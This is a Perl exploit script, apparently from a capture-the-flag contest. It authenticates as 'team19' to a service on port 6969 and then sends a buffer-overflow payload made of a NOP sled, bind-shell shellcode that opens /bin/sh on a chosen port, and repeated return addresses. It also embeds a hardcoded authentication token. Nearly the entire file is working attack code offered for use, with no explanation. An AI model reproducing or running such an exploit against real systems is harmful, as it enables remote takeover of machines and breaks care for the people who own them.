#!/usr/bin/perl -w
use strict;
use Socket;

my $SYSTEM = shift;
my $PORT = shift;
my $WAIT = shift;
my $DELAY = shift;


my $TOSPLOIT = chr(0x80).chr(0xe7).chr(0xbf).chr(0xbf);
my $SPLOITRETURN = chr(0xff).chr(0x92).chr(0x04).chr(0x08);

if ($WAIT < 1){
    $WAIT = "";
} else {
    $WAIT = "-w".$WAIT;
}

sub Generate {
        my $port = shift;
        my $off_port = 0x8;
        my $port_bin = pack('n', $port);

        my $shellcode =
                "\x6a\x61\x58\x99\x52\x68\x10\x02\xbf\xbf\x89\xe1\x52\x42\x52\x42" .
                "\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0" .
                "\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97\x6a\x02\x59\x6a\x5a" .
                "\x58\x51\x57\x51\xcd\x80\x49\x79\xf5\x50\x68\x2f\x2f\x73\x68\x68" .
                "\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53\xb0\x3b\xcd\x80";

        substr($shellcode, $off_port, 2, $port_bin);

        return($shellcode);
}

    my $AUTH = "AUTH:team19:qaMtZgyosX:3akRQxNE859f4ITv7YBgOA==:g5MwXojjEagLzZm3JsUPEg==:VdaGSRLFiLklX";
    my ($iaddr, $paddr, $proto, $line);
 
    $iaddr   = inet_aton($SYSTEM)               || die "no host: $SYSTEM";
    $paddr   = sockaddr_in(6969, $iaddr);
 
    $proto   = getprotobyname('tcp');
    socket(SOCK, PF_INET, SOCK_STREAM, $proto)  || die "socket: $!";
    connect(SOCK, $paddr)    || die "connect: $!";

    print($AUTH . "\r\n");
    send(SOCK, $AUTH . "\r\n",1);

    sleep($DELAY);

    while (defined($line = <SOCK>)) {
        print $line;

    print("bacon:" . "\x90"x896 . Generate($PORT) ."\x90\x90" . "$TOSPLOIT"x20 . "\n");
    send(SOCK,  "bacon:" . "\x90"x496 . Generate($PORT) ."\x90"x402 . "$TOSPLOIT"x20 . "\n",1);
        
    }

print("THE END");
<STDIN>;
    close (SOCK)            || die "close: $!";
    exit;
